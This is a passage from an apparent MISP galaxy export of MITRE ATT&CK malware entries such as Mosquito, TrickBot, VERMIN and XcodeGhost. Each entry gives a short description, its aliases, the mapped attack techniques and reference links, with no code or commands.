uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 3357. Table References
Links
https://attack.mitre.org/software/S0265
https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/

Mosquito - S0256

[Mosquito](https://attack.mitre.org/software/S0256) is a Win32 backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). [Mosquito](https://attack.mitre.org/software/S0256) is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. (Citation: ESET Turla Mosquito Jan 2018)

The tag is: misp-galaxy:mitre-malware="Mosquito - S0256"

Mosquito - S0256 is also known as:

Mosquito

Mosquito - S0256 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"

Table 3358. Table References
Links
https://attack.mitre.org/software/S0256
https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf

UPPERCUT - S0275

[UPPERCUT](https://attack.mitre.org/software/S0275) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045). (Citation: FireEye APT10 Sept 2018)

The tag is: misp-galaxy:mitre-malware="UPPERCUT - S0275"

UPPERCUT - S0275 is also known as:

UPPERCUT
ANEL

UPPERCUT - S0275 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 3359. Table References
Links
https://attack.mitre.org/software/S0275
https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html

VERMIN - S0257

[VERMIN](https://attack.mitre.org/software/S0257) is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code. (Citation: Unit 42 VERMIN Jan 2018)

The tag is: misp-galaxy:mitre-malware="VERMIN - S0257"

VERMIN - S0257 is also known as:

VERMIN

VERMIN - S0257 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 3360. Table References
Links
https://attack.mitre.org/software/S0257
https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/

OldBoot - S0285

[OldBoot](https://attack.mitre.org/software/S0285) is an Android malware family. (Citation: HackerNews-OldBoot)

The tag is: misp-galaxy:mitre-malware="OldBoot - S0285"

OldBoot - S0285 is also known as:

OldBoot

OldBoot - S0285 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398" with estimative-language:likelihood-probability="almost-certain"

Table 3361. Table References
Links
https://attack.mitre.org/software/S0285
http://thehackernews.com/2014/01/first-widely-distributed-android.html

RGDoor - S0258

[RGDoor](https://attack.mitre.org/software/S0258) is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. [RGDoor](https://attack.mitre.org/software/S0258) has been seen deployed on webservers belonging to the Middle East government organizations. [RGDoor](https://attack.mitre.org/software/S0258) provides backdoor access to compromised IIS servers. (Citation: Unit 42 RGDoor Jan 2018)

The tag is: misp-galaxy:mitre-malware="RGDoor - S0258"

RGDoor - S0258 is also known as:

RGDoor

RGDoor - S0258 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 3362. Table References
Links
https://attack.mitre.org/software/S0258
https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/

RCSAndroid - S0295

[RCSAndroid](https://attack.mitre.org/software/S0295) is Android malware. (Citation: TrendMicro-RCSAndroid)

The tag is: misp-galaxy:mitre-malware="RCSAndroid - S0295"

RCSAndroid - S0295 is also known as:

RCSAndroid

RCSAndroid - S0295 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

Table 3363. Table References
Links
https://attack.mitre.org/software/S0295
http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/

InnaputRAT - S0259

[InnaputRAT](https://attack.mitre.org/software/S0259) is a remote access tool that can exfiltrate files from a victim’s machine. [InnaputRAT](https://attack.mitre.org/software/S0259) has been seen out in the wild since 2016. (Citation: ASERT InnaputRAT April 2018)

The tag is: misp-galaxy:mitre-malware="InnaputRAT - S0259"

InnaputRAT - S0259 is also known as:

InnaputRAT

InnaputRAT - S0259 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"

Table 3364. Table References
Links
https://attack.mitre.org/software/S0259
https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/

TrickBot - S0266

[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program that has mainly been used for targeting banking sites in United States, Canada, UK, Germany, Australia, Austria, Ireland, London, Switzerland, and Scotland. TrickBot first emerged in the wild in September 2016 and appears to be a successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) is developed in the C++ programming language. (Citation: S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oct 2016) (Citation: IBM TrickBot Nov 2016)

The tag is: misp-galaxy:mitre-malware="TrickBot - S0266"

TrickBot - S0266 is also known as:

TrickBot
Totbrick
TSPY_TRICKLOAD

TrickBot - S0266 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"

Table 3365. Table References
Links
https://attack.mitre.org/software/S0266
https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf
https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre
https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n
https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick

FELIXROOT - S0267

[FELIXROOT](https://attack.mitre.org/software/S0267) is a backdoor that has been used to target Ukrainian victims. (Citation: FireEye FELIXROOT July 2018)

The tag is: misp-galaxy:mitre-malware="FELIXROOT - S0267"

FELIXROOT - S0267 is also known as:

FELIXROOT
GreyEnergy mini

FELIXROOT - S0267 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"

Table 3366. Table References
Links
https://attack.mitre.org/software/S0267
https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html
https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf

Keydnap - S0276

This piece of malware steals the content of the user’s keychain while maintaining a permanent backdoor (Citation: OSX Keydnap malware).

The tag is: misp-galaxy:mitre-malware="Keydnap - S0276"

Keydnap - S0276 is also known as:

Keydnap
OSX/Keydnap

Keydnap - S0276 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1166" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Space after Filename - T1151" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Securityd Memory - T1167" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"

Table 3367. Table References
Links
https://attack.mitre.org/software/S0276
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
https://www.synack.com/2017/01/01/mac-malware-2016/

OBAD - S0286

OBAD is an Android malware family. (Citation: TrendMicro-Obad)

The tag is: misp-galaxy:mitre-malware="OBAD - S0286"

OBAD - S0286 is also known as:

OBAD

OBAD - S0286 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Abuse Device Administrator Access to Prevent Removal - T1401" with estimative-language:likelihood-probability="almost-certain"

Table 3368. Table References
Links
https://attack.mitre.org/software/S0286
http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/

Bisonal - S0268

[Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014. (Citation: Unit 42 Bisonal July 2018)

The tag is: misp-galaxy:mitre-malware="Bisonal - S0268"

Bisonal - S0268 is also known as:

Bisonal

Bisonal - S0268 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 3369. Table References
Links
https://attack.mitre.org/software/S0268
https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/

QUADAGENT - S0269

[QUADAGENT](https://attack.mitre.org/software/S0269) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: Unit 42 QUADAGENT July 2018)

The tag is: misp-galaxy:mitre-malware="QUADAGENT - S0269"

QUADAGENT - S0269 is also known as:

QUADAGENT

QUADAGENT - S0269 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 3370. Table References
Links
https://attack.mitre.org/software/S0269
https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/

FruitFly - S0277

FruitFly is designed to spy on mac users (Citation: objsee mac malware 2017).

The tag is: misp-galaxy:mitre-malware="FruitFly - S0277"

FruitFly - S0277 is also known as:

FruitFly

FruitFly - S0277 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 3371. Table References
Links
https://attack.mitre.org/software/S0277
https://objective-see.com/blog/blog_0x25.html

ZergHelper - S0287

[ZergHelper](https://attack.mitre.org/software/S0287) is iOS riskware that was unique due to its apparent evasion of Apple’s App Store review process. No malicious functionality was identified in the app, but it presents security risks. (Citation: Xiao-ZergHelper)

The tag is: misp-galaxy:mitre-malware="ZergHelper - S0287"

ZergHelper - S0287 is also known as:

ZergHelper

ZergHelper - S0287 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"

Table 3372. Table References
Links
https://attack.mitre.org/software/S0287
http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/

iKitten - S0278

[iKitten](https://attack.mitre.org/software/S0278) is a macOS exfiltration agent (Citation: objsee mac malware 2017).

The tag is: misp-galaxy:mitre-malware="iKitten - S0278"

iKitten - S0278 is also known as:

iKitten
OSX/MacDownloader

iKitten - S0278 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rc.common - T1163" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Keychain - T1142" with estimative-language:likelihood-probability="almost-certain"

Table 3373. Table References
Links
https://attack.mitre.org/software/S0278
https://objective-see.com/blog/blog_0x25.html

XcodeGhost - S0297

[XcodeGhost](https://attack.mitre.org/software/S0297) is iOS malware that infected at least 39 iOS apps in 2015 and potentially affected millions of users. (Citation: PaloAlto-XcodeGhost1) (Citation: PaloAlto-XcodeGhost)

The tag is: misp-galaxy:mitre-malware="XcodeGhost - S0297"

XcodeGhost - S0297 is also known as:

XcodeGhost

XcodeGhost - S0297 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
